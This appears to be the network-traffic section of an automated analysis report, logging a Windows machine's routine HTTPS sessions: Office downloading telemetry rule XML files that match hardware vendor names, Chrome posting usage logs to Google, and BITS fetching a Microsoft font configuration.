2024-10-30 22:11:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 128a8aa7-901e-005b-27fd-272005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-15b8d89586fst84kttks1s2css00000002cg000000003u23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:26 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221126Z-15b8d89586fbmg6qpd9yf8zhm000000003n0000000005u44 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49764	142.250.185.174	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:26 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 22:11:26 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 32 36 32 38 33 32 32 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730326283228",null,null,null,
2024-10-30 22:11:26 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=IJ7Z-J3ooSaYKHqhiXAWJVj1lBuiux1G_uJDm0UzpZyOjMpbqHX3qaCnzGXCpKWjL5x57oH7G4z17sOZ6LY3uVQzpWSYTaF7trZQFpzdFihqc-MkGgvxAV4QuvVUsyrL8ra4ijIF8ULgatovX9tpB4ojwN3HLSrq8DTq_ixxVAKXRG9BeQ; expires=Thu, 01-May-2025 22:11:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 22:11:26 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 22:11:26 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 22:11:26 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 22:11:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49766	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 22:11:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=239713 Date: Wed, 30 Oct 2024 22:11:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 22:11:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:26 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:26 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221126Z-16849878b782d4lwcu6h6gmxnw00000008ag00000000bt98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3601e2f9-501e-0064-27bd-2a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221126Z-159b85dff8f7svrvhC1DFWth2s00000000c0000000003qtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221126Z-16849878b785dznd7xpawq9gcn0000000a1000000000cf98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:27 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: daa440d4-101e-0028-4cca-2a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221127Z-17c5cb586f6zcqf8r7the4ske0000000012g000000000t8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:27 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221127Z-16849878b78qf2gleqhwczd21s00000008x0000000004vb6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:27 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:27 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d5dcea80-601e-0050-0829-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221127Z-159b85dff8fbbwhzhC1DFWwpe80000000100000000008ww1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:27 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:27 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221127Z-15b8d89586f8nxpt6ys645x5v000000009vg00000000ektp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
